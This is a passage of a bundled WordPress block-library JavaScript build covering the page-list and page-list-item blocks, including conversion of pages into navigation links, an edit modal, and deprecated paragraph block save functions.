35682 const innerBlocks = linkMap[id]?.innerBlocks ?? [];
35683 linkMap[id] = (0,external_wp_blocks_namespaceObject.createBlock)(
35684 "core/navigation-link",
35685 {
35686 id,
35687 label: title.rendered,
35688 url,
35689 type,
35690 kind: POST_TYPE_KIND,
35691 metadata: {
35692 bindings: buildNavigationLinkEntityBinding(POST_TYPE_KIND)
35693 }
35694 },
35695 innerBlocks
35696 );
35697 if (!parent) {
35698 navigationLinks.push(linkMap[id]);
35699 } else {
35700 if (!linkMap[parent]) {
35701 linkMap[parent] = { innerBlocks: [] };
35702 }
35703 const parentLinkInnerBlocks = linkMap[parent].innerBlocks;
35704 parentLinkInnerBlocks.push(linkMap[id]);
35705 }
35706 });
35707 return navigationLinks;
35708}
35709function findNavigationLinkById(navigationLinks, id) {
35710 for (const navigationLink of navigationLinks) {
35711 if (navigationLink.attributes.id === id) {
35712 return navigationLink;
35713 }
35714 if (navigationLink.innerBlocks && navigationLink.innerBlocks.length) {
35715 const foundNavigationLink = findNavigationLinkById(
35716 navigationLink.innerBlocks,
35717 id
35718 );
35719 if (foundNavigationLink) {
35720 return foundNavigationLink;
35721 }
35722 }
35723 }
35724 return null;
35725}
35726function convertToNavigationLinks(pages = [], parentPageID = null) {
35727 let navigationLinks = createNavigationLinks(pages);
35728 if (parentPageID) {
35729 const parentPage = findNavigationLinkById(
35730 navigationLinks,
35731 parentPageID
35732 );
35733 if (parentPage && parentPage.innerBlocks) {
35734 navigationLinks = parentPage.innerBlocks;
35735 }
35736 }
35737 const transformSubmenus = (listOfLinks) => {
35738 listOfLinks.forEach((block, index, listOfLinksArray) => {
35739 const { attributes, innerBlocks } = block;
35740 if (innerBlocks.length !== 0) {
35741 transformSubmenus(innerBlocks);
35742 const transformedBlock = (0,external_wp_blocks_namespaceObject.createBlock)(
35743 "core/navigation-submenu",
35744 attributes,
35745 innerBlocks
35746 );
35747 listOfLinksArray[index] = transformedBlock;
35748 }
35749 });
35750 };
35751 transformSubmenus(navigationLinks);
35752 return navigationLinks;
35753}
35754function useConvertToNavigationLinks({
35755 clientId,
35756 pages,
35757 parentClientId,
35758 parentPageID
35759}) {
35760 const { replaceBlock, selectBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
35761 return () => {
35762 const navigationLinks = convertToNavigationLinks(pages, parentPageID);
35763 replaceBlock(clientId, navigationLinks);
35764 selectBlock(parentClientId);
35765 };
35766}
35767
35768
35769;// ./node_modules/@wordpress/block-library/build-module/page-list/convert-to-links-modal.js
35770
35771
35772
35773
35774const convertDescription = (0,external_wp_i18n_namespaceObject.__)(
35775 "This Navigation Menu displays your website's pages. Editing it will enable you to add, delete, or reorder pages. However, new pages will no longer be added automatically."
35776);
35777function ConvertToLinksModal({ onClick, onClose, disabled }) {
35778 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
35779 external_wp_components_namespaceObject.Modal,
35780 {
35781 onRequestClose: onClose,
35782 title: (0,external_wp_i18n_namespaceObject.__)("Edit Page List"),
35783 className: "wp-block-page-list-modal",
35784 aria: {
35785 describedby: (0,external_wp_compose_namespaceObject.useInstanceId)(
35786 ConvertToLinksModal,
35787 "wp-block-page-list-modal__description"
35788 )
35789 },
35790 children: [
35791 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35792 "p",
35793 {
35794 id: (0,external_wp_compose_namespaceObject.useInstanceId)(
35795 ConvertToLinksModal,
35796 "wp-block-page-list-modal__description"
35797 ),
35798 children: convertDescription
35799 }
35800 ),
35801 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "wp-block-page-list-modal-buttons", children: [
35802 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35803 external_wp_components_namespaceObject.Button,
35804 {
35805 __next40pxDefaultSize: true,
35806 variant: "tertiary",
35807 onClick: onClose,
35808 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
35809 }
35810 ),
35811 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35812 external_wp_components_namespaceObject.Button,
35813 {
35814 __next40pxDefaultSize: true,
35815 variant: "primary",
35816 accessibleWhenDisabled: true,
35817 disabled,
35818 onClick,
35819 children: (0,external_wp_i18n_namespaceObject.__)("Edit")
35820 }
35821 )
35822 ] })
35823 ]
35824 }
35825 );
35826}
35827
35828
35829;// ./node_modules/@wordpress/block-library/build-module/page-list/edit.js
35830
35831
35832
35833
35834
35835
35836
35837
35838
35839
35840
35841
35842const MAX_PAGE_COUNT = 100;
35843const NOOP = () => {
35844};
35845function BlockContent({
35846 blockProps,
35847 innerBlocksProps,
35848 hasResolvedPages,
35849 blockList,
35850 pages,
35851 parentPageID
35852}) {
35853 if (!hasResolvedPages) {
35854 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-page-list__loading-indicator-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, { className: "wp-block-page-list__loading-indicator" }) }) });
35855 }
35856 if (pages === null) {
35857 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, { status: "warning", isDismissible: false, children: (0,external_wp_i18n_namespaceObject.__)("Page List: Cannot retrieve Pages.") }) });
35858 }
35859 if (pages.length === 0) {
35860 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, { status: "info", isDismissible: false, children: (0,external_wp_i18n_namespaceObject.__)("Page List: Cannot retrieve Pages.") }) });
35861 }
35862 if (blockList.length === 0) {
35863 const parentPageDetails = pages.find(
35864 (page) => page.id === parentPageID
35865 );
35866 if (parentPageDetails?.title?.rendered) {
35867 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: (0,external_wp_i18n_namespaceObject.sprintf)(
35868 // translators: %s: Page title.
35869 (0,external_wp_i18n_namespaceObject.__)('Page List: "%s" page has no children.'),
35870 parentPageDetails.title.rendered
35871 ) }) });
35872 }
35873 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, { status: "warning", isDismissible: false, children: (0,external_wp_i18n_namespaceObject.__)("Page List: Cannot retrieve Pages.") }) });
35874 }
35875 if (pages.length > 0) {
35876 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { ...innerBlocksProps });
35877 }
35878}
35879function PageListEdit({
35880 context,
35881 clientId,
35882 attributes,
35883 setAttributes
35884}) {
35885 const { parentPageID } = attributes;
35886 const [isOpen, setOpen] = (0,external_wp_element_namespaceObject.useState)(false);
35887 const openModal = (0,external_wp_element_namespaceObject.useCallback)(() => setOpen(true), []);
35888 const closeModal = () => setOpen(false);
35889 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
35890 const { records: pages, hasResolved: hasResolvedPages } = (0,external_wp_coreData_namespaceObject.useEntityRecords)(
35891 "postType",
35892 "page",
35893 {
35894 per_page: MAX_PAGE_COUNT,
35895 _fields: ["id", "link", "menu_order", "parent", "title", "type"],
35896 // TODO: When https://core.trac.wordpress.org/ticket/39037 REST API support for multiple orderby
35897 // values is resolved, update 'orderby' to [ 'menu_order', 'post_title' ] to provide a consistent
35898 // sort.
35899 orderby: "menu_order",
35900 order: "asc"
35901 }
35902 );
35903 const allowConvertToLinks = "showSubmenuIcon" in context && pages?.length > 0 && pages?.length <= MAX_PAGE_COUNT;
35904 const pagesByParentId = (0,external_wp_element_namespaceObject.useMemo)(() => {
35905 if (pages === null) {
35906 return /* @__PURE__ */ new Map();
35907 }
35908 const sortedPages = pages.sort((a, b) => {
35909 if (a.menu_order === b.menu_order) {
35910 return a.title.rendered.localeCompare(b.title.rendered);
35911 }
35912 return a.menu_order - b.menu_order;
35913 });
35914 return sortedPages.reduce((accumulator, page) => {
35915 const { parent } = page;
35916 if (accumulator.has(parent)) {
35917 accumulator.get(parent).push(page);
35918 } else {
35919 accumulator.set(parent, [page]);
35920 }
35921 return accumulator;
35922 }, /* @__PURE__ */ new Map());
35923 }, [pages]);
35924 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
35925 className: dist_clsx("wp-block-page-list", {
35926 "has-text-color": !!context.textColor,
35927 [(0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", context.textColor)]: !!context.textColor,
35928 "has-background": !!context.backgroundColor,
35929 [(0,external_wp_blockEditor_namespaceObject.getColorClassName)(
35930 "background-color",
35931 context.backgroundColor
35932 )]: !!context.backgroundColor
35933 }),
35934 style: { ...context.style?.color }
35935 });
35936 const pagesTree = (0,external_wp_element_namespaceObject.useMemo)(
35937 function makePagesTree(parentId = 0, level = 0) {
35938 const childPages = pagesByParentId.get(parentId);
35939 if (!childPages?.length) {
35940 return [];
35941 }
35942 return childPages.reduce((tree, page) => {
35943 const hasChildren = pagesByParentId.has(page.id);
35944 const item = {
35945 value: page.id,
35946 label: "\u2014 ".repeat(level) + page.title.rendered,
35947 rawName: page.title.rendered
35948 };
35949 tree.push(item);
35950 if (hasChildren) {
35951 tree.push(...makePagesTree(page.id, level + 1));
35952 }
35953 return tree;
35954 }, []);
35955 },
35956 [pagesByParentId]
35957 );
35958 const blockList = (0,external_wp_element_namespaceObject.useMemo)(
35959 function getBlockList(parentId = parentPageID) {
35960 const childPages = pagesByParentId.get(parentId);
35961 if (!childPages?.length) {
35962 return [];
35963 }
35964 return childPages.reduce((template, page) => {
35965 const hasChildren = pagesByParentId.has(page.id);
35966 const pageProps = {
35967 id: page.id,
35968 label: (
35969 // translators: displayed when a page has an empty title.
35970 page.title?.rendered?.trim() !== "" ? page.title?.rendered : (0,external_wp_i18n_namespaceObject.__)("(no title)")
35971 ),
35972 title: (
35973 // translators: displayed when a page has an empty title.
35974 page.title?.rendered?.trim() !== "" ? page.title?.rendered : (0,external_wp_i18n_namespaceObject.__)("(no title)")
35975 ),
35976 link: page.url,
35977 hasChildren
35978 };
35979 let item = null;
35980 const children = getBlockList(page.id);
35981 item = (0,external_wp_blocks_namespaceObject.createBlock)(
35982 "core/page-list-item",
35983 pageProps,
35984 children
35985 );
35986 template.push(item);
35987 return template;
35988 }, []);
35989 },
35990 [pagesByParentId, parentPageID]
35991 );
35992 const {
35993 isNested,
35994 hasSelectedChild,
35995 parentClientId,
35996 hasDraggedChild,
35997 isChildOfNavigation
35998 } = (0,external_wp_data_namespaceObject.useSelect)(
35999 (select) => {
36000 const {
36001 getBlockParentsByBlockName,
36002 hasSelectedInnerBlock,
36003 hasDraggedInnerBlock
36004 } = select(external_wp_blockEditor_namespaceObject.store);
36005 const blockParents = getBlockParentsByBlockName(
36006 clientId,
36007 "core/navigation-submenu",
36008 true
36009 );
36010 const navigationBlockParents = getBlockParentsByBlockName(
36011 clientId,
36012 "core/navigation",
36013 true
36014 );
36015 return {
36016 isNested: blockParents.length > 0,
36017 isChildOfNavigation: navigationBlockParents.length > 0,
36018 hasSelectedChild: hasSelectedInnerBlock(clientId, true),
36019 hasDraggedChild: hasDraggedInnerBlock(clientId, true),
36020 parentClientId: navigationBlockParents[0]
36021 };
36022 },
36023 [clientId]
36024 );
36025 const convertToNavigationLinks = useConvertToNavigationLinks({
36026 clientId,
36027 pages,
36028 parentClientId,
36029 parentPageID
36030 });
36031 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
36032 renderAppender: false,
36033 __unstableDisableDropZone: true,
36034 templateLock: isChildOfNavigation ? false : "all",
36035 onInput: NOOP,
36036 onChange: NOOP,
36037 value: blockList
36038 });
36039 const { selectBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
36040 (0,external_wp_element_namespaceObject.useEffect)(() => {
36041 if (hasSelectedChild || hasDraggedChild) {
36042 openModal();
36043 selectBlock(parentClientId);
36044 }
36045 }, [
36046 hasSelectedChild,
36047 hasDraggedChild,
36048 parentClientId,
36049 selectBlock,
36050 openModal
36051 ]);
36052 (0,external_wp_element_namespaceObject.useEffect)(() => {
36053 setAttributes({ isNested });
36054 }, [isNested, setAttributes]);
36055 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
36056 (pagesTree.length > 0 || allowConvertToLinks) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
36057 external_wp_components_namespaceObject.__experimentalToolsPanel,
36058 {
36059 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
36060 resetAll: () => {
36061 setAttributes({ parentPageID: 0 });
36062 },
36063 dropdownMenuProps,
36064 children: [
36065 pagesTree.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36066 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
36067 {
36068 label: (0,external_wp_i18n_namespaceObject.__)("Parent Page"),
36069 hasValue: () => parentPageID !== 0,
36070 onDeselect: () => setAttributes({ parentPageID: 0 }),
36071 isShownByDefault: true,
36072 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36073 external_wp_components_namespaceObject.ComboboxControl,
36074 {
36075 __nextHasNoMarginBottom: true,
36076 __next40pxDefaultSize: true,
36077 className: "editor-page-attributes__parent",
36078 label: (0,external_wp_i18n_namespaceObject.__)("Parent"),
36079 value: parentPageID,
36080 options: pagesTree,
36081 onChange: (value) => setAttributes({
36082 parentPageID: value ?? 0
36083 }),
36084 help: (0,external_wp_i18n_namespaceObject.__)(
36085 "Choose a page to show only its subpages."
36086 )
36087 }
36088 )
36089 }
36090 ),
36091 allowConvertToLinks && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { style: { gridColumn: "1 / -1" }, children: [
36092 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: convertDescription }),
36093 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36094 external_wp_components_namespaceObject.Button,
36095 {
36096 __next40pxDefaultSize: true,
36097 variant: "primary",
36098 accessibleWhenDisabled: true,
36099 disabled: !hasResolvedPages,
36100 onClick: convertToNavigationLinks,
36101 children: (0,external_wp_i18n_namespaceObject.__)("Edit")
36102 }
36103 )
36104 ] })
36105 ]
36106 }
36107 ) }),
36108 allowConvertToLinks && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
36109 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "other", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36110 external_wp_components_namespaceObject.ToolbarButton,
36111 {
36112 title: (0,external_wp_i18n_namespaceObject.__)("Edit"),
36113 onClick: openModal,
36114 children: (0,external_wp_i18n_namespaceObject.__)("Edit")
36115 }
36116 ) }),
36117 isOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36118 ConvertToLinksModal,
36119 {
36120 onClick: convertToNavigationLinks,
36121 onClose: closeModal,
36122 disabled: !hasResolvedPages
36123 }
36124 )
36125 ] }),
36126 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36127 BlockContent,
36128 {
36129 blockProps,
36130 innerBlocksProps,
36131 hasResolvedPages,
36132 blockList,
36133 pages,
36134 parentPageID
36135 }
36136 )
36137 ] });
36138}
36139
36140
36141;// ./node_modules/@wordpress/block-library/build-module/page-list/index.js
36142
36143
36144
36145
36146const { name: page_list_name } = page_list_block_namespaceObject;
36147const page_list_settings = {
36148 icon: pages_default,
36149 example: {},
36150 edit: PageListEdit
36151};
36152const page_list_init = () => initBlock({ name: page_list_name, metadata: page_list_block_namespaceObject, settings: page_list_settings });
36153
36154
36155;// ./node_modules/@wordpress/block-library/build-module/page-list-item/block.json
36156const page_list_item_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/page-list-item","title":"Page List Item","category":"widgets","parent":["core/page-list"],"description":"Displays a page inside a list of all pages.","keywords":["page","menu","navigation"],"textdomain":"default","attributes":{"id":{"type":"number"},"label":{"type":"string"},"title":{"type":"string"},"link":{"type":"string"},"hasChildren":{"type":"boolean"}},"usesContext":["textColor","customTextColor","backgroundColor","customBackgroundColor","overlayTextColor","customOverlayTextColor","overlayBackgroundColor","customOverlayBackgroundColor","fontSize","customFontSize","showSubmenuIcon","style","openSubmenusOnClick"],"supports":{"reusable":false,"html":false,"lock":false,"inserter":false,"__experimentalToolbar":false,"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-page-list-editor","style":"wp-block-page-list"}');
36157;// ./node_modules/@wordpress/block-library/build-module/navigation-link/icons.js
36158
36159
36160const icons_ItemSubmenuIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36161 external_wp_components_namespaceObject.SVG,
36162 {
36163 xmlns: "http://www.w3.org/2000/svg",
36164 width: "12",
36165 height: "12",
36166 viewBox: "0 0 12 12",
36167 fill: "none",
36168 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M1.50002 4L6.00002 8L10.5 4", strokeWidth: "1.5" })
36169 }
36170);
36171
36172
36173;// ./node_modules/@wordpress/block-library/build-module/page-list-item/edit.js
36174
36175
36176
36177
36178
36179
36180
36181
36182function useFrontPageId() {
36183 return (0,external_wp_data_namespaceObject.useSelect)((select) => {
36184 const canReadSettings = select(external_wp_coreData_namespaceObject.store).canUser("read", {
36185 kind: "root",
36186 name: "site"
36187 });
36188 if (!canReadSettings) {
36189 return void 0;
36190 }
36191 const site = select(external_wp_coreData_namespaceObject.store).getEntityRecord("root", "site");
36192 return site?.show_on_front === "page" && site?.page_on_front;
36193 }, []);
36194}
36195function PageListItemEdit({ context, attributes }) {
36196 const { id, label, link, hasChildren, title } = attributes;
36197 const isNavigationChild = "showSubmenuIcon" in context;
36198 const frontPageId = useFrontPageId();
36199 const innerBlocksColors = getColors(context, true);
36200 const navigationChildBlockProps = getNavigationChildBlockProps(innerBlocksColors);
36201 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)(navigationChildBlockProps, {
36202 className: "wp-block-pages-list__item"
36203 });
36204 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps);
36205 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
36206 "li",
36207 {
36208 className: dist_clsx("wp-block-pages-list__item", {
36209 "has-child": hasChildren,
36210 "wp-block-navigation-item": isNavigationChild,
36211 "open-on-click": context.openSubmenusOnClick,
36212 "open-on-hover-click": !context.openSubmenusOnClick && context.showSubmenuIcon,
36213 "menu-item-home": id === frontPageId
36214 }),
36215 children: [
36216 hasChildren && context.openSubmenusOnClick ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
36217 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36218 "button",
36219 {
36220 type: "button",
36221 className: "wp-block-navigation-item__content wp-block-navigation-submenu__toggle",
36222 "aria-expanded": "false",
36223 children: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(label)
36224 }
36225 ),
36226 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "wp-block-page-list__submenu-icon wp-block-navigation__submenu-icon", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icons_ItemSubmenuIcon, {}) })
36227 ] }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36228 "a",
36229 {
36230 className: dist_clsx("wp-block-pages-list__item__link", {
36231 "wp-block-navigation-item__content": isNavigationChild
36232 }),
36233 href: link,
36234 children: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title)
36235 }
36236 ),
36237 hasChildren && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
36238 !context.openSubmenusOnClick && context.showSubmenuIcon && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36239 "button",
36240 {
36241 className: "wp-block-navigation-item__content wp-block-navigation-submenu__toggle wp-block-page-list__submenu-icon wp-block-navigation__submenu-icon",
36242 "aria-expanded": "false",
36243 type: "button",
36244 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icons_ItemSubmenuIcon, {})
36245 }
36246 ),
36247 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { ...innerBlocksProps })
36248 ] })
36249 ]
36250 },
36251 id
36252 );
36253}
36254
36255
36256;// ./node_modules/@wordpress/block-library/build-module/page-list-item/index.js
36257
36258
36259
36260
36261const { name: page_list_item_name } = page_list_item_block_namespaceObject;
36262const page_list_item_settings = {
36263 __experimentalLabel: ({ label }) => label,
36264 icon: page_default,
36265 example: {},
36266 edit: PageListItemEdit
36267};
36268const page_list_item_init = () => initBlock({ name: page_list_item_name, metadata: page_list_item_block_namespaceObject, settings: page_list_item_settings });
36269
36270
36271;// ./node_modules/@wordpress/icons/build-module/library/paragraph.js
36272
36273
36274var paragraph_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m9.99609 14v-.2251l.00391.0001v6.225h1.5v-14.5h2.5v14.5h1.5v-14.5h3v-1.5h-8.50391c-2.76142 0-5 2.23858-5 5 0 2.7614 2.23858 5 5 5z" }) });
36275
36276
36277;// ./node_modules/@wordpress/block-library/build-module/paragraph/deprecated.js
36278
36279
36280
36281
36282
36283const deprecated_supports = {
36284 className: false
36285};
36286const paragraph_deprecated_blockAttributes = {
36287 align: {
36288 type: "string"
36289 },
36290 content: {
36291 type: "string",
36292 source: "html",
36293 selector: "p",
36294 default: ""
36295 },
36296 dropCap: {
36297 type: "boolean",
36298 default: false
36299 },
36300 placeholder: {
36301 type: "string"
36302 },
36303 textColor: {
36304 type: "string"
36305 },
36306 backgroundColor: {
36307 type: "string"
36308 },
36309 fontSize: {
36310 type: "string"
36311 },
36312 direction: {
36313 type: "string",
36314 enum: ["ltr", "rtl"]
36315 },
36316 style: {
36317 type: "object"
36318 }
36319};
36320const migrateCustomColorsAndFontSizes = (attributes) => {
36321 if (!attributes.customTextColor && !attributes.customBackgroundColor && !attributes.customFontSize) {
36322 return attributes;
36323 }
36324 const style2 = {};
36325 if (attributes.customTextColor || attributes.customBackgroundColor) {
36326 style2.color = {};
36327 }
36328 if (attributes.customTextColor) {
36329 style2.color.text = attributes.customTextColor;
36330 }
36331 if (attributes.customBackgroundColor) {
36332 style2.color.background = attributes.customBackgroundColor;
36333 }
36334 if (attributes.customFontSize) {
36335 style2.typography = { fontSize: attributes.customFontSize };
36336 }
36337 const {
36338 customTextColor,
36339 customBackgroundColor,
36340 customFontSize,
36341 ...restAttributes
36342 } = attributes;
36343 return {
36344 ...restAttributes,
36345 style: style2
36346 };
36347};
36348const { style, ...restBlockAttributes } = paragraph_deprecated_blockAttributes;
36349const paragraph_deprecated_deprecated = [
36350 // Version without drop cap on aligned text.
36351 {
36352 supports: deprecated_supports,
36353 attributes: {
36354 ...restBlockAttributes,
36355 customTextColor: {
36356 type: "string"
36357 },
36358 customBackgroundColor: {
36359 type: "string"
36360 },
36361 customFontSize: {
36362 type: "number"
36363 }
36364 },
36365 save({ attributes }) {
36366 const { align, content, dropCap, direction } = attributes;
36367 const className = dist_clsx({
36368 "has-drop-cap": align === ((0,external_wp_i18n_namespaceObject.isRTL)() ? "left" : "right") || align === "center" ? false : dropCap,
36369 [`has-text-align-${align}`]: align
36370 });
36371 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className, dir: direction }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: content }) });
36372 }
36373 },
36374 {
36375 supports: deprecated_supports,
36376 attributes: {
36377 ...restBlockAttributes,
36378 customTextColor: {
36379 type: "string"
36380 },
36381 customBackgroundColor: {
36382 type: "string"
36383 },
36384 customFontSize: {
36385 type: "number"
36386 }
36387 },
36388 migrate: migrateCustomColorsAndFontSizes,
36389 save({ attributes }) {
36390 const {
36391 align,
36392 content,
36393 dropCap,
36394 backgroundColor,
36395 textColor,
36396 customBackgroundColor,
36397 customTextColor,
36398 fontSize,
36399 customFontSize,
36400 direction
36401 } = attributes;
36402 const textClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", textColor);
36403 const backgroundClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
36404 "background-color",
36405 backgroundColor
36406 );
36407 const fontSizeClass = (0,external_wp_blockEditor_namespaceObject.getFontSizeClass)(fontSize);
36408 const className = dist_clsx({
36409 "has-text-color": textColor || customTextColor,
36410 "has-background": backgroundColor || customBackgroundColor,
36411 "has-drop-cap": dropCap,
36412 [`has-text-align-${align}`]: align,
36413 [fontSizeClass]: fontSizeClass,
36414 [textClass]: textClass,
36415 [backgroundClass]: backgroundClass
36416 });
36417 const styles = {
36418 backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
36419 color: textClass ? void 0 : customTextColor,
36420 fontSize: fontSizeClass ? void 0 : customFontSize
36421 };
36422 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36423 external_wp_blockEditor_namespaceObject.RichText.Content,
36424 {
36425 tagName: "p",
36426 style: styles,
36427 className: className ? className : void 0,
36428 value: content,
36429 dir: direction
36430 }
36431 );
36432 }
36433 },
36434 {
36435 supports: deprecated_supports,
36436 attributes: {
36437 ...restBlockAttributes,
36438 customTextColor: {
36439 type: "string"
36440 },
36441 customBackgroundColor: {
36442 type: "string"
36443 },
36444 customFontSize: {
36445 type: "number"
36446 }
36447 },
36448 migrate: migrateCustomColorsAndFontSizes,
36449 save({ attributes }) {
36450 const {
36451 align,
36452 content,
36453 dropCap,
36454 backgroundColor,
36455 textColor,
36456 customBackgroundColor,
36457 customTextColor,
36458 fontSize,
36459 customFontSize,
36460 direction
36461 } = attributes;
36462 const textClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", textColor);
36463 const backgroundClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
36464 "background-color",
36465 backgroundColor
36466 );
36467 const fontSizeClass = (0,external_wp_blockEditor_namespaceObject.getFontSizeClass)(fontSize);
36468 const className = dist_clsx({
36469 "has-text-color": textColor || customTextColor,
36470 "has-background": backgroundColor || customBackgroundColor,
36471 "has-drop-cap": dropCap,
36472 [fontSizeClass]: fontSizeClass,
36473 [textClass]: textClass,
36474 [backgroundClass]: backgroundClass
36475 });
36476 const styles = {
36477 backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
36478 color: textClass ? void 0 : customTextColor,
36479 fontSize: fontSizeClass ? void 0 : customFontSize,
36480 textAlign: align
36481 };
36482 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36483 external_wp_blockEditor_namespaceObject.RichText.Content,
36484 {
36485 tagName: "p",
36486 style: styles,
36487 className: className ? className : void 0,
36488 value: content,
36489 dir: direction
36490 }
36491 );
36492 }
36493 },
36494 {
36495 supports: deprecated_supports,
36496 attributes: {
36497 ...restBlockAttributes,
36498 customTextColor: {
36499 type: "string"
36500 },
36501 customBackgroundColor: {
36502 type: "string"
36503 },
36504 customFontSize: {
36505 type: "number"
36506 },
36507 width: {
36508 type: "string"
36509 }
36510 },
36511 migrate: migrateCustomColorsAndFontSizes,
36512 save({ attributes }) {
36513 const {
36514 width,
36515 align,
36516 content,
36517 dropCap,
36518 backgroundColor,
36519 textColor,
36520 customBackgroundColor,
36521 customTextColor,
36522 fontSize,
36523 customFontSize
36524 } = attributes;
36525 const textClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", textColor);
36526 const backgroundClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
36527 "background-color",
36528 backgroundColor
36529 );
36530 const fontSizeClass = fontSize && `is-${fontSize}-text`;
36531 const className = dist_clsx({
36532 [`align${width}`]: width,
36533 "has-background": backgroundColor || customBackgroundColor,
36534 "has-drop-cap": dropCap,
36535 [fontSizeClass]: fontSizeClass,
36536 [textClass]: textClass,
36537 [backgroundClass]: backgroundClass
36538 });
36539 const styles = {
